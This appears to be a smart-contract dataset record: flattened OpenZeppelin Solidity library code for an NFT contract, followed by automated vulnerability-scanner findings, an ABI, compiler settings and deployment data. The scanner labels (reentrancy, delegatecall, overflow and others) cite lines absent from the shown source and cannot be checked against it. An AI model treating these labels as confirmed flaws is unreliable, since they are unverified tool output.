@openzeppelin/contracts/security/ReentrancyGuard.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/ReentrancyGuard.sol) pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and making it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/utils/Strings.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["180"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["1275"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["15"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["1362", "1384", "94", "95", "743"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["257"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["909", "703", "718", "261", "729", "87", "566"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["480", "535", "534", "504"]}, {"defect": "Reentrancy", "type": "Function_call", "severity": "High", "lines": ["174"]}]
[{"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/introspection/IERC165.sol": [4]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}]
[]
[{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1401, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 457, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 478, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 499, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 502, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 532, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 726, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 792, "severity": 1}, {"rule": "SOLIDITY_EXTRA_GAS_IN_LOOPS", "line": 97, "severity": 1}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 792, "severity": 2}, {"rule": "SOLIDITY_GAS_LIMIT_IN_LOOPS", "line": 97, "severity": 1}, {"rule": "SOLIDITY_LOCKED_MONEY", "line": 15, "severity": 3}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 134, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 138, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 142, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 146, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 150, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 154, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 158, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 162, "severity": 2}, {"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 166, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 7, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 198, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 627, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 675, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 756, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 813, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 881, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1029, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1061, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1093, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1315, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1344, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1416, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1450, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 20, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 218, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 221, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 224, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 227, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 230, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 233, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 692, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 843, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 844, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 846, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 1350, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 586, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_VIEW", "line": 1116, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 66, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 1332, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 589, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 37, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 238, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 699, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 848, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1144, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1145, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1147, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 1147, "severity": 1}]
[{"inputs":[{"internalType":"string","name":"_tokenName","type":"string"},{"internalType":"string","name":"_tokenSymbol","type":"string"},{"internalType":"uint256","name":"_cost","type":"uint256"},{"internalType":"uint256","name":"_maxSupply","type":"uint256"},{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"},{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cost","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hiddenMetadataUri","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxMintAmountPerTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"merkleRoot","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"address","name":"_receiver","type":"address"}],"name":"mintForAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"paused","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"revealed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_cost","type":"uint256"}],"name":"setCost","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_hiddenMetadataUri","type":"string"}],"name":"setHiddenMetadataUri","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_maxMintAmountPerTx","type":"uint256"}],"name":"setMaxMintAmountPerTx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"name":"setMerkleRoot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setPaused","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setRevealed","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriPrefix","type":"string"}],"name":"setUriPrefix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_uriSuffix","type":"string"}],"name":"setUriSuffix","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_state","type":"bool"}],"name":"setWhitelistMintEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uriPrefix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uriSuffix","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"walletOfOwner","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"whitelistClaimed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_mintAmount","type":"uint256"},{"internalType":"bytes32[]","name":"_merkleProof","type":"bytes32[]"}],"name":"whitelistMint","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"whitelistMintEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]
v0.8.9+commit.e5eed63a
true
200
00000000000000000000000000000000000000000000000000000000000000c00000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000013880000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000014000000000000000000000000000000000000000000000000000000000000000095a55434b4c4f524453000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000045a55434b00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003c697066733a2f2f516d505964334631534a444369366f55475758525a44634773463966755565456f79706a6a746e456938433347632f312e6a736f6e00000000
Default
false
unixchain
0x96e8a0077471a23b14bf711d2119c2eae139190d
Solidity
